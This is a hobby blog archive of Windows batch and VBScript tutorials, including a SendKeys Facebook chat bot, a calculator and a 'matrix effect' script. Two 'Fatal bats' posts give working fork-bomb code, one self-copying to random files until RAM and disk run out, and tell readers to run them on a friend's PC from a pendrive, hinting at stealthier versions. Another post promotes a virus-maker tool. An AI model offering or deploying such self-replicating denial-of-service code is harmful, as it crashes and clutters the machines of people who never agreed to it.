Good To Know:


Oopsie!Either you knew everything or there was a problem in fetching my facts

Showing posts with label batch programming. Show all posts

Make your own Fb chat bot

facebook chat bot



Ever felt like " godd i wish some one could do the chatting behalf of me!" may the case be a boring person or even to use a fake account yes there is a way,and itz got a lot of potential you can use it for simple purposes like chatting or for more useful and complicated task automations.ok lets get started..


                                         for this we are going to use the WshShell object of windows script host.dont worry if you are not that familiar with it,just stay with me.

  • First copy the below code and pate it in your note pad.then click on save as and name it "bot.vbs" and don't forget to change the file type to "all files"
set kc = WScript.CreateObject("WScript.Shell")
WScript.Sleep 9000
kc.SendKeys "hello {:}{)} "
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
kc.SendKeys "how are you?"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
         kc.SendKeys "i{'}m fine{,}thank you {:}D"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
kc.SendKeys "wassup?"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
kc.SendKeys "where do you live{?}"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
kc.SendKeys "oh{,}i{'}m from india"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"
WScript.Sleep 7000
kc.SendKeys "ok{,}bye for now {:}D"
WScript.Sleep 2000
kc.SendKeys "{ENTER}"




  • I know its a little bit clumsy,but i'll explain it.ok now all you have to do is double click on the file,and then navigate to your browser and click on the chat box of the person with whom you want your bot to chat.
Explanation:


  • The above code is a bit lengthy,so let me take a small piece of code for the purpose of explanation,we'll get back to the original code later.

set kc = WScript.CreateObject("WScript.Shell")

WScript.Sleep 100

kc.Run "notepad.exe"

WScript.Sleep 100

kc.AppActivate "notepad"

WScript.Sleep 1000

kc.SendKeys "hello everyone {!} "


                                  ok,here it goes,
  • set kc = WScript.CreateObject("WScript.Shell")  - this line is used to create an object of "WScript shell" with a reference name "kc" you can use any name of your desire,but make sure you stick to the name through out the code.
  • WScript.Sleep 100    -  this is to give a delay off 100 milli seconds,or you can simply say execute the next line of code after 100 milli seconds.and the time shall always be given in terms of milli seconds.1second = 1000 milli seconds.so if you want to give a pause of 3 seconds you must write
                                          WScript.Sleep 3000    

  • kc.Run "notepad.exe" - this is to start a new notepad you can use this line to start any application
                               eg:   kc.Run "calc" - for calculator
                                      kc.Run "taskmgr" - for task manager
                                      kc.Run "cmd" - for command prompt
                                                                          here we started a notepad because,we want to test whether our script is working well or not
  • kc.AppActivate "notepad" - to make notepad the active window,its simply like clicking on the notepad for the editing cursor to appear
  • kc.SendKeys "hello everyone{!}" -  to send the keys "hello everyone!" it is like typing the string "hello everyone!" through your keyboard this is the main concept we use in our chat bot.and you must have noticed that the !  mark has been wrapped with two flower brackets or what ever you call them,it is because,special symbols(anything except a-z and 0-9 ) must be in those brackets.and here is a list of other keyboard keys you could use

               backspace              {BACKSPACE}
               enter                        {ENTER}
               escape                      {ESC}
               tab                            {TAB}

                                                  ok now lets just look into our previous code,does it make sense now?i suggest you guys to go through the code once again with the acquired knowledge and try to interpret it,or you can continue reading,

  • in the code we did not call up the node pad application,it is because we want the chat bot to enter text into the chat box of our Facebook friend,but not into note pad.
  • in the second line,we gave a delay of 9 seconds,it is because in the mean time you could open up your browser and click on the chat (the place where you enter the text).you can even increase the delay if you want,but make sure you you do it within the time
  • and after entering the text,we gave a delay of 2 seconds it is because,to make the other person feel like we are typing,you know Facebook shows that " xxxxxx is typing......." thing
  • and then after sending the text,we waited for 7 seconds,so that the other person can give a reply.
  • to stop it from executing,you have to close the wscript window opened
  • You can change the text to what ever you want but remember it is case sensitive and special characters must be enclosed in {},go play with it!
     

Sunday, 4 August 2013
Posted by Unknown

A simple Calculator using batch


A simple Calculator using batch

to create a simple calculator using batch program,copy the below code and paste it into your notepad


@echo off
title simple calculator
color 1f
echo           welcome  :D
:start
echo..........................................
set /p x=Enter calculation :
echo.
set /a result =%x%
echo the result is %result%
echo.
echo..........................................
pause
cls
echo the previous Result is: %result%
goto start


       save it as calculator.bat and the run it.
Explanation:

  • @echo off - to avoid the display of current path
  • title simple calculator - to set the title of the command window (the top part)
  • color 1f - to set the color of the background,text  where 1f is the color code for blue,white (type in "color help" to see the color codes,trust me they are not at all complicated )
  • echo - just to print someting onto the screen
  • :start - indicating the start of a loop
  • set /p x=enter calculation: - to choose a variable x so as to receive an inout from the user and store it.
  • set /a result = %x% -copy the data from the variable x into another variable result and perform the arthamatic calculation.( variable x is represented as %x% it is the notaion used to represent variables in batch )
  • echo result - to display the value in the variable result
  • echo. - to enter a new line
  • pause - to wait untill the user presses another key (see that line waiting at the bottom of the screen saying "press any key..." its a result of this pause command what it does is it simply waits before proceeding to the next line of code )
  • cls - to clear the screen
  • goto start - instruction to go back to the place where :start is and start executing from the next line.

see our batch section for more tutorials

Saturday, 3 August 2013
Posted by Unknown

Fatal bats 2

Batch programming

Today lets try another deadly batch program,its a simple recursive batch that keeps on calling itself until the computer runs out of memory and finally hangs,

code:

:loop
start rec.bat
goto loop



copy the above code and save it as "rec.bat" remember,the name is also important so,better don't change it.

and now execute it in your friends pc,thats it!

Explanation:
  • :loop -indicates the start of a looping statement
  • start rec.bat -instructs the dos to start up "rec.bat" in another instance
  • goto loop -again go back to the starting of the loop statement
you can see the results of the code in the below video:







  • To stop it you need to manually reboot your system,
  • advantages of this file over the previous,is this method you need not clean up the mess after reboot,because no copies of the file are created,
for futhur modifications check out the attachments section or the fatal bats series 

Friday, 2 August 2013
Posted by Unknown

Fatal bats1

Batch programming

ya,kind of cathy name ;) today we will see a method to clog up peoples ram,crunch the hard disk space and leave their system completely useless untill their next format.
first let me just show you the code and then i'lll start explaining it.

@echo off
:loop
set /a x = %random%
type firstnode.bat >> %x%.bat
start %x%.bat
goto loop




  • open up a notepad,copy the above code and paste it in it.
  • click save as,and thengive it a name "firstnode.bat" [do not use any other name]
  • change the file type to all files,click save.

batch code

save as

changing file type


     ok,lets discuss the code.basically *.bat is an extension which allows you to run CMD or command prompt instructions.


  • @echo off : this peice here instructs to turn off the display of current directory evry time it runs.
  • :loop this indicates that a loop with reference"loop"is starting from here
  • set /a  x = %random% this sets a random number into variable x
  • type firstnode.bat >> %x%.bat    this line makes a copy of the contents of the file "firstnode.bat" and wirtes them to a file named after the random number returned from random with a bat extension
  • start %x%.bat it starts or calls the file created in the previous step,and that file starts running independently.
  • goto loop  this says to go back to the step "loop" and start executing again.

so totally what the code does is,first it creates a copy of itself,then calls it and from then,both of them create individual copies of themselves (total of 4 up to now) and the cycle continues until the ram has no more memory to allocate and crashes or even the hard disk may run out of disk space and crash.
it grows in an exponential manner,ie., for every n itiration,2^n files are created and are running,that goes like1,2,4,8....... by the time just about 10-20 itirations are performed,system crashes it takes just about 30 to 40 seconds to crash any system.

Executing it:
Never ever try this on your own system!!

  • copy this file to a pendrive,
  • take it to your friends system,copy the file into another drive like d: or  f: or even desktop,then double click it.(don't execute it directly from the pendrive)

And you can take a look at our attatchments section or our fatal bats series to make this process entirely autonomous and stealthy and take it to the next level :) 

   you can watch the below video in which i've used a xp virtual machine to run the bat and you can see the consequences.in the video. i've run the batch on the desktop,oh dat poor guy ;)



Cleaning up the mess:


  • To stop it,simply reboot the system manually, ( unplug it! ) and then restart your system.the go to the folder in which you've executed the previous file,in my case,its the desktop itself.
  • Now create another file with name "clean.bat" and enter the following code
  del  *.bat

  • And execute it. thats it,you are done,but be careful,do not open up any of the previously created files or else you must suffer once again!
TIP: After creating clean.bat,sort the files by modified and descending to get to it quickly,or else just use the search to locate it.

Thursday, 1 August 2013
Posted by Unknown

Build a virus

As of now,most of us would have already know what a virus is,if you don't,in brief it is a small malicious program written to cause malfunction of a computer.and we all use good antiviruses to protect our selves from viruses.

                      But we all love to play pranks with our friends don't we?So here's a little fun prank you can play upon your friends.

          You can make a prank virus which is completely harmless,but can be Extreamly irritating.you don't need not write any codes.simply download and install this simple program called DeadLine's virus maker

Run it:


Build a virus-deadlines virus maker

Check the options which you prefer and click build

Monday, 19 November 2012
Posted by Unknown

Get the Matrix Effect

matrix effect in cmd

To get the famouse matrix effect,just paste the following code in notepad and save it as anything.bat and then double click it.

Code:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

You can even watch our video tutorial






Sunday, 30 September 2012
Posted by Unknown

Labels

Translate

Blogger Tips and Tricks

Popular Post

Random post

- Copyright © smartify me -

- Administered by Krishna Chaitanya -
Google+